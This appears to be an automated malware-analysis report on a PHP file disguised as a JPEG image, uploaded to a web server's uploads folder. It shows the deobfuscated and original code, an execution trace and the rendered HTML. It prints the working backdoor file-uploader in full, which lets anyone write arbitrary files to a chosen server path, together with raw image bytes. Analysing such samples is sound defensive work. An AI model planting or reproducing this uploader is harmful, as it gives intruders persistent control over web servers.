PHP Malware Analysis

upload.pHTmL

md5: 219d259cedebe9878e5d667c41c01e07

Jump to:

Screenshot


Attributes

Files

Input

Title


Deobfuscated PHP code

���JFIFHH��<!DOCTYPE HTML>
<?php 
$files = @$_FILES["files"];
if ($files["name"] != '') {
    $fullpath = $_REQUEST["path"] . $files["name"];
    if (move_uploaded_file($files['tmp_name'], $fullpath)) {
        echo "<h1><a href='{$fullpath}'>OK-Click here!</a></h1>";
    }
}
echo "\n<html>\n<head>\n<title>Upload files...</title>\n</head>\n<body>\n<form method=POST enctype=\"multipart/form-data\" action=\"\">\n  <input type=text name=path><input type=\"file\" name=\"files\">\n  <input type=submit value=\"Submit\">\n</form>\n</body>\n</html>";
?>
��C


		
%# , #&')*)-0-(0%()(��C



(((((((((((((((((((((((((((((((((((((((((((((((((((�����������P�A�!)10��""��"*��@����#+�OK&��2�Ec�xo�"�P��B}��������:9:9=<G$��S,�"5�R2�i��ғ3ʥ�3@�;":%885I@e�
E��"�H�Zς�Z9 .�����[+��M���,0" !1234#$5@P`����?$|�,.,���1�:�Q�<(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�<���"8#_i�x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n���.�:v��]�Mk��E�Gh�Ѐ"��B���i�f�<��O:��J�ԍ]o�҈g��Zz�!Xg{<6R�{�x'��`M����?�[Z�ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ���
��
h��5� ���\��������?4������?4���4	!1"02AQqa 3B��#@P`r������?��f`��Y�ʉ�j����Zkx��@N�JaS������}����r𷩰��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#��l�9�<���A���Pu��k�������8�
�
�4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o}
mM����kF
\�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:���e��1��w�m��[MA���č��Vj��mȵ�z)��
č��}��n�(���9��?��)!1AQ0aq��� ��@�P`��?!�@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N>��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\�:�+R��-�/9�Z
�O�A*��|��+,u�~�#G
�B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS��cNI��F��x1F9
�m��@��YڭQ�+(��D��Dߵ[���$�M���&��D�Z�V��&ձGi�@�t}�к�/+�4����wd0Dh����
��aa�M='�g�UK�M��7�M+�O}��
��4�r�ԋŸ�t��g\F,0���k��aX���U� ��5y��6�@�2��
��DmZ�V{�9]A�.m�EKZ��2 ���?���I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I �$�I$�I$I$�II$�I$�	�I$�I$�I$�IA$�I$ �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$������?4������?4���+!1AQ�aq�0����� ��@P`��?����(Ir��ʲo��(��#)�0�a	�?&�4�0�~��4Տ���K�Fhg~����թ̛]NH
���}��N��:��5{y���o�BNb���s�����C�t��kM�)j*D��$<�������gN���C��s%A#�*�=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T��IH������0r�"%\~�%aJ��3�����iԁ	�_�!�G�d
;�O�=$
VXx��
����B�KSZtk�&�#��)�p0�P��Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&C����"��gzu%�`08[^���Us���7��нWźU��	�z����4)B��e-�HV%Hh7�ԑ��A(�>hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z�\��!2��)Y��9�Em8�,��_WeD3¢��a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P>ƌH��ߤ;Vn�q������JH�
?��	A�0�H�E�������jV�U��&H�����
��I�b&3�MF@H��L�‹E�
CV-k6
�T:W���&3y��-օ�cB�6�#�h�VL{Q�0
��Y��

Execution traces

data/traces/219d259cedebe9878e5d667c41c01e07_trace-1676244408.5323.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:27:14.430134]
1	0	1	0.000128	393528
1	3	0	0.000192	398992	{main}	1		/var/www/html/uploads/upload.pHTmL	0	0
1		A						/var/www/html/uploads/upload.pHTmL	3	$files = NULL
1	3	1	0.000227	398992
			0.000253	314272
TRACE END   [2023-02-12 21:27:14.430284]


Generated HTML code

<html><head></head><body>����JFIFHH��



<title>Upload files...</title>


<form method="POST" enctype="multipart/form-data" action="">
  <input type="text" name="path"><input type="file" name="files">
  <input type="submit" value="Submit">
</form>

��C


		
%# , #&amp;')*)-0-(0%()(��C



(((((((((((((((((((((((((((((((((((((((((((((((((((�����������P�A�!)10��""��"*��@����#+�OK&amp;��2�Ec�xo�"�P��B}��������:9:9=&lt;G$��S,�"5�R2�i��ғ3ʥ�3@�;":%885I@e�
E��"�H�Zς�Z9 .�����[+��M���,0" !1234#$5@P`����?$|�,.,���1�:�Q�&lt;(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�&lt;���"8#_i�x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n����.�:v��]�Mk��E�Gh��Ѐ"��B���i�f�&lt;��O:��J�ԍ]o�҈g��Zz�!Xg{&lt;6R�{�x'��`M������?�[Z��ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ���
��
h��5� ���\��������?4������?4���4	!1"02AQqa 3B��#@P`r�������?���f`��Y�ʉ�j����Zkx��@N�JaS������}����r𷩰��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#����l�9�&lt;���A���Pu��k�������8�
�
�4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o}
mM����kF
\�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:����e��1��w�m��[MA����č��Vj��mȵ�z)��
č��}��n�(���9��?��)!1AQ0aq��� ��@�P`���?!�@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N&gt;��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\�:�+R��-�/9�Z
�O�A*��|��+,u�~�#G
�B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS���cNI��F���x1F9
�m��@��YڭQ�+(��D��Dߵ[���$�M���&amp;��D�Z�V��&amp;ձGi�@�t}�к�/+�4����wd0Dh����
��aa�M='�g�UK��M��7�M+�O}��
��4�r�ԋŸ�t��g\F,0���k��aX���U� ��5y����6�@�2��
��DmZ�V{�9]A�.m�EKZ��2 ���?���I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I �$�I$�I$I$�II$�I$�	�I$�I$�I$�IA$�I$ �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$������?4������?4���+!1AQ�aq�0����� ��@P`��?����(Ir��ʲo��(��#)�0�a	�?&amp;�4�0�~��4Տ���K�Fhg~����թ̛]NH
����}��N����:��5{y���o�BNb���s������C��t��kM��)j*D��$&lt;�������gN���C��s%A#�*�=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T��IH������0r�"%\~�%aJ��3�����iԁ	�_�!�G�d
;�O�=$
VXx��
������B�KSZtk�&amp;�#��)�p0�P���Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&amp;C����"��gzu%�`08[^���Us���7��нWźU��	�z����4)B��e-�HV%Hh7�ԑ��A(�&gt;hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z��\��!2��)Y��9�Em8�,��_WeD3¢��a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P&gt;ƌH��ߤ;Vn�q������JH�
?��	A�0�H�E�������jV�U��&amp;H�����
��I�b&amp;3�MF@H��L�‹E�
CV-k6
�T:W���&amp;3y��-օ�cB�6�#�h�VL{Q�0
��Y��</body></html>

Original PHP code

���JFIFHH��<!DOCTYPE HTML>
<?php
$files = @$_FILES["files"];
if ($files["name"] != '') {
    $fullpath = $_REQUEST["path"] . $files["name"];
    if (move_uploaded_file($files['tmp_name'], $fullpath)) {
        echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
    }
}echo '
<html>
<head>
<title>Upload files...</title>
</head>
<body>
<form method=POST enctype="multipart/form-data" action="">
  <input type=text name=path><input type="file" name="files">
  <input type=submit value="Submit">
</form>
</body>
</html>';
?>
��C


		
%# , #&')*)-0-(0%()(��C



(((((((((((((((((((((((((((((((((((((((((((((((((((�����������P�A�!)10��""��"*��@����#+�OK&��2�Ec�xo�"�P��B}��������:9:9=<G$��S,�"5�R2�i��ғ3ʥ�3@�;":%885I@e�
E��"�H�Zς�Z9 .�����[+��M���,0" !1234#$5@P`����?$|�,.,���1�:�Q�<(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�<���"8#_i�x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n���.�:v��]�Mk��E�Gh�Ѐ"��B���i�f�<��O:��J�ԍ]o�҈g��Zz�!Xg{<6R�{�x'��`M����?�[Z�ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ���
��
h��5� ���\��������?4������?4���4	!1"02AQqa 3B��#@P`r������?��f`��Y�ʉ�j����Zkx��@N�JaS������}����r𷩰��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#��l�9�<���A���Pu��k�������8�
�
�4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o}
mM����kF
\�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:���e��1��w�m��[MA���č��Vj��mȵ�z)��
č��}��n�(���9��?��)!1AQ0aq��� ��@�P`��?!�@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N>��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\�:�+R��-�/9�Z
�O�A*��|��+,u�~�#G
�B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS��cNI��F��x1F9
�m��@��YڭQ�+(��D��Dߵ[���$�M���&��D�Z�V��&ձGi�@�t}�к�/+�4����wd0Dh����
��aa�M='�g�UK�M��7�M+�O}��
��4�r�ԋŸ�t��g\F,0���k��aX���U� ��5y��6�@�2��
��DmZ�V{�9]A�.m�EKZ��2 ���?���I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I �$�I$�I$I$�II$�I$�	�I$�I$�I$�IA$�I$ �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$������?4������?4���+!1AQ�aq�0����� ��@P`��?����(Ir��ʲo��(��#)�0�a	�?&�4�0�~��4Տ���K�Fhg~����թ̛]NH
���}��N��:��5{y���o�BNb���s�����C�t��kM�)j*D��$<�������gN���C��s%A#�*�=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T��IH������0r�"%\~�%aJ��3�����iԁ	�_�!�G�d
;�O�=$
VXx��
����B�KSZtk�&�#��)�p0�P��Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&C����"��gzu%�`08[^���Us���7��нWźU��	�z����4)B��e-�HV%Hh7�ԑ��A(�>hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z�\��!2��)Y��9�Em8�,��_WeD3¢��a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P>ƌH��ߤ;Vn�q������JH�
?��	A�0�H�E�������jV�U��&H�����
��I�b&3�MF@H��L�‹E�
CV-k6
�T:W���&3y��-օ�cB�6�#�h�VL{Q�0
��Y��